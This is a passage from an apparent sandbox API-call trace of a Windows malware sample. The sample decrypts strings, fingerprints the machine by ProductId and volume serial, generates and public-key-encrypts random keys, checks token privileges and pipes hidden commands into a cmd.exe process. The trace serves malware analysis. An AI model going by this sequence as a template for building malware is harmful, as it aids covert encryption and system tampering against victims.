Flags=0x0, Size=0x40) returned 0x9af888 [0066.507] CryptImportKey (in: hProv=0x9acd90, pbData=0x18eeb0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.508] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af888, pdwDataLen=0x18ef20 | out: pbData=0x9af888, pdwDataLen=0x18ef20) returned 1 [0066.508] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.508] GetProcessHeap () returned 0x990000 [0066.508] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b12d8 [0066.508] CryptImportKey (in: hProv=0x9acd90, pbData=0x18eeb0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.508] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b12d8, pdwDataLen=0x18ef20 | out: pbData=0x9b12d8, pdwDataLen=0x18ef20) returned 1 [0066.508] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.508] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ef1c | out: phkResult=0x18ef1c*=0xb8) returned 0x0 [0066.508] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ef28, lpcbData=0x18ef24*=0x400 | out: lpType=0x0, lpData=0x18ef28*=0x30, lpcbData=0x18ef24*=0x18) returned 0x0 [0066.508] RegCloseKey (hKey=0xb8) returned 0x0 [0066.508] GetProcessHeap () returned 0x990000 [0066.508] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af888 | out: hHeap=0x990000) returned 1 [0066.508] GetProcessHeap () returned 0x990000 [0066.508] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b12d8 | out: hHeap=0x990000) returned 1 [0066.508] GetProcessHeap () returned 0x990000 [0066.508] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b12d8 [0066.508] CryptImportKey (in: hProv=0x9acd90, pbData=0x18ec90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.508] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b12d8, pdwDataLen=0x18ecf4 | out: pbData=0x9b12d8, pdwDataLen=0x18ecf4) returned 1 [0066.508] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.508] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ecf8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0066.508] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ecf0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ecf0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.509] GetProcessHeap () returned 0x990000 [0066.509] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b12d8 | out: hHeap=0x990000) returned 1 [0066.509] wsprintfA (in: param_1=0x18ef3f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0066.509] wsprintfW (in: param_1=0x18f350, param_2="\\\\.\\%c:" | out: param_1="\\\\.\\C:") returned 6 [0066.509] wsprintfW (in: param_1=0x18f360, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0066.509] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.509] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f340, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f340*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.509] GetProcessHeap () returned 0x990000 [0066.509] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x34) returned 0x9b64a8 [0066.509] wsprintfW (in: param_1=0x9b64a8, param_2="%c:" | out: param_1="C:") returned 2 [0066.509] CreateFileW (lpFileName="\\\\.\\C:" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0066.509] DeviceIoControl (in: hDevice=0xb8, dwIoControlCode=0x560000, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x18f370, nOutBufferSize=0x20, lpBytesReturned=0x18f344, lpOverlapped=0x0 | out: lpOutBuffer=0x18f370*, lpBytesReturned=0x18f344*=0x20, lpOverlapped=0x0) returned 1 [0066.510] CloseHandle (hObject=0xb8) returned 1 [0066.510] GetProcessHeap () returned 0x990000 [0066.510] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aecd8 [0066.510] GetProcessHeap () returned 0x990000 [0066.510] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4bf8 [0066.510] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x20, pbBuffer=0x9b4c04 | out: pbBuffer=0x9b4c04) returned 1 [0066.510] GetProcessHeap () returned 0x990000 [0066.510] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4d80 [0066.510] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x20, pbBuffer=0x9b4d8c | out: pbBuffer=0x9b4d8c) returned 1 [0066.510] GetProcessHeap () returned 0x990000 [0066.510] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b12d8 [0066.510] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f330, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0066.510] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b12d8, pdwDataLen=0x18f398 | out: pbData=0x9b12d8, pdwDataLen=0x18f398) returned 1 [0066.510] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0066.510] GetProcessHeap () returned 0x990000 [0066.510] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9b53e0 [0066.510] GetProcessHeap () returned 0x990000 [0066.510] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9b1ba8 [0066.510] CryptImportKey (in: hProv=0x9acd90, pbData=0x9ad5b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f378 | out: phKey=0x18f378*=0x9b64e8) returned 1 [0066.511] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b53e0*, pdwDataLen=0x18f37c*=0x75, dwBufLen=0x80 | out: pbData=0x9b53e0*, pdwDataLen=0x18f37c*=0x80) returned 1 [0066.511] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0066.511] CryptImportKey (in: hProv=0x9acd90, pbData=0x9ad5b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f378 | out: phKey=0x18f378*=0x9b64e8) returned 1 [0066.512] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1ba8*, pdwDataLen=0x18f37c*=0x75, dwBufLen=0x80 | out: pbData=0x9b1ba8*, pdwDataLen=0x18f37c*=0x80) returned 1 [0066.512] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0066.512] GetProcessHeap () returned 0x990000 [0066.512] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b12d8 | out: hHeap=0x990000) returned 1 [0066.512] GetProcessHeap () returned 0x990000 [0066.512] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9b1d40 [0066.512] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f320, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0066.512] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1d40, pdwDataLen=0x18f388 | out: pbData=0x9b1d40, pdwDataLen=0x18f388) returned 1 [0066.512] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0066.512] GetProcessHeap () returned 0x990000 [0066.512] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b12d8 [0066.512] GetProcessHeap () returned 0x990000 [0066.512] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa) returned 0x9adfe8 [0066.512] GetProcessHeap () returned 0x990000 [0066.512] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xe) returned 0x9adfd0 [0066.513] GetProcessHeap () returned 0x990000 [0066.513] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x19) returned 0x9b1468 [0066.513] GetProcessHeap () returned 0x990000 [0066.513] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xe) returned 0x9adec8 [0066.513] GetProcessHeap () returned 0x990000 [0066.513] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xd) returned 0x9adf88 [0066.513] GetProcessHeap () returned 0x990000 [0066.513] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1350 [0066.513] GetProcessHeap () returned 0x990000 [0066.513] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1b) returned 0x9b1328 [0066.514] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0066.514] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryObject") returned 0x77c5f9e8 [0066.514] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0066.514] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0066.514] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0066.514] GetProcAddress (hModule=0x77c40000, lpProcName="RtlGetVersion") returned 0x77c7873a [0066.514] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0066.514] GetProcAddress (hModule=0x76d30000, lpProcName="GetFinalPathNameByHandleW") returned 0x76d60a25 [0066.515] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0066.515] GetProcAddress (hModule=0x76d30000, lpProcName="QueryFullProcessImageNameW") returned 0x76d515f7 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1d40 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfe8 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1468 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adec8 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adf88 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1350 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1328 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b12d8 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1000) returned 0x9b7490 [0066.515] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x9b7490, ObjectInformationLength=0x1000, ReturnLength=0x18f36c | out: ObjectInformation=0x9b7490, ReturnLength=0x18f36c) returned 0xc0000004 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7490 | out: hHeap=0x990000) returned 1 [0066.515] GetProcessHeap () returned 0x990000 [0066.515] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2000) returned 0x9b7490 [0066.516] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x9b7490, ObjectInformationLength=0x2000, ReturnLength=0x18f36c | out: ObjectInformation=0x9b7490, ReturnLength=0x18f36c) returned 0x0 [0066.516] RtlGetVersion (in: lpVersionInformation=0x18f258 | out: lpVersionInformation=0x18f258*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0066.516] GetProcessHeap () returned 0x990000 [0066.516] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7490 | out: hHeap=0x990000) returned 1 [0066.516] GetVersion () returned 0x1db10106 [0066.516] GetCurrentProcess () returned 0xffffffff [0066.516] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18f390 | out: TokenHandle=0x18f390*=0xb8) returned 1 [0066.516] GetTokenInformation (in: TokenHandle=0xb8, TokenInformationClass=0x18, TokenInformation=0x18f394, TokenInformationLength=0x4, ReturnLength=0x18f398 | out: TokenInformation=0x18f394, ReturnLength=0x18f398) returned 1 [0066.516] CloseHandle (hObject=0xb8) returned 1 [0066.516] Wow64DisableWow64FsRedirection (in: OldValue=0x18f3b4 | out: OldValue=0x18f3b4*=0x0) returned 1 [0066.516] GetProcessHeap () returned 0x990000 [0066.516] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x5e0) returned 0x9b7490 [0066.516] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f348, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0066.516] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b7490, pdwDataLen=0x18f3c4 | out: pbData=0x9b7490, pdwDataLen=0x18f3c4) returned 1 [0066.517] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0066.517] GetProcessHeap () returned 0x990000 [0066.517] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b12d8 [0066.517] CryptImportKey (in: hProv=0x9acd90, pbData=0x18ec90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0066.517] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b12d8, pdwDataLen=0x18ed3c | out: pbData=0x9b12d8, pdwDataLen=0x18ed3c) returned 1 [0066.517] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0066.517] GetEnvironmentVariableW (in: lpName="ComSpec", lpBuffer=0x18ed88, nSize=0x104 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0066.517] CreatePipe (in: hReadPipe=0x18ed08, hWritePipe=0x18ed04, lpPipeAttributes=0x18ed30, nSize=0x0 | out: hReadPipe=0x18ed08*=0xb8, hWritePipe=0x18ed04*=0xc0) returned 1 [0066.517] CreatePipe (in: hReadPipe=0x18ecfc, hWritePipe=0x18ed0c, lpPipeAttributes=0x18ed30, nSize=0x0 | out: hReadPipe=0x18ecfc*=0xc4, hWritePipe=0x18ed0c*=0x120) returned 1 [0066.517] SetHandleInformation (hObject=0xc0, dwMask=0x1, dwFlags=0x0) returned 1 [0066.517] SetHandleInformation (hObject=0xc4, dwMask=0x1, dwFlags=0x0) returned 1 [0066.517] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18ed40*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120), lpProcessInformation=0x18ed1c | out: lpCommandLine=0x0, lpProcessInformation=0x18ed1c*(hProcess=0x128, hThread=0x124, dwProcessId=0x7d0, dwThreadId=0x774)) returned 1 [0067.252] WriteFile (in: hFile=0xc0, lpBuffer=0x9b7490*, nNumberOfBytesToWrite=0x5ca, lpNumberOfBytesWritten=0x18ed18, lpOverlapped=0x0 | out: lpBuffer=0x9b7490*, lpNumberOfBytesWritten=0x18ed18*=0x5ca, lpOverlapped=0x0) returned 1 [0067.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.340] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.340] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.565] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.565] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.620] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.620] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.674] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.674] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.747] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.789] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.789] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.835] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.835] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.881] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.882] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.957] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.060] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.153] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x8f, lpBytesLeftThisMessage=0x0) returned 1 [0071.153] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x8f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x8f, lpOverlapped=0x0) returned 1 [0071.154] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.248] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x1a, lpBytesLeftThisMessage=0x0) returned 1 [0071.248] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x1a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x1a, lpOverlapped=0x0) returned 1 [0071.248] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.545] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.546] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.847] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.847] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.910] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0071.910] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0071.910] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.011] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.089] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.090] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.170] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x45, lpBytesLeftThisMessage=0x0) returned 1 [0072.170] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x45, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x45, lpOverlapped=0x0) returned 1 [0072.170] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.247] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.247] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.294] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0072.295] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0072.295] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.366] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3f, lpBytesLeftThisMessage=0x0) returned 1 [0072.366] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3f, lpOverlapped=0x0) returned 1 [0072.366] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.448] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0072.448] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, 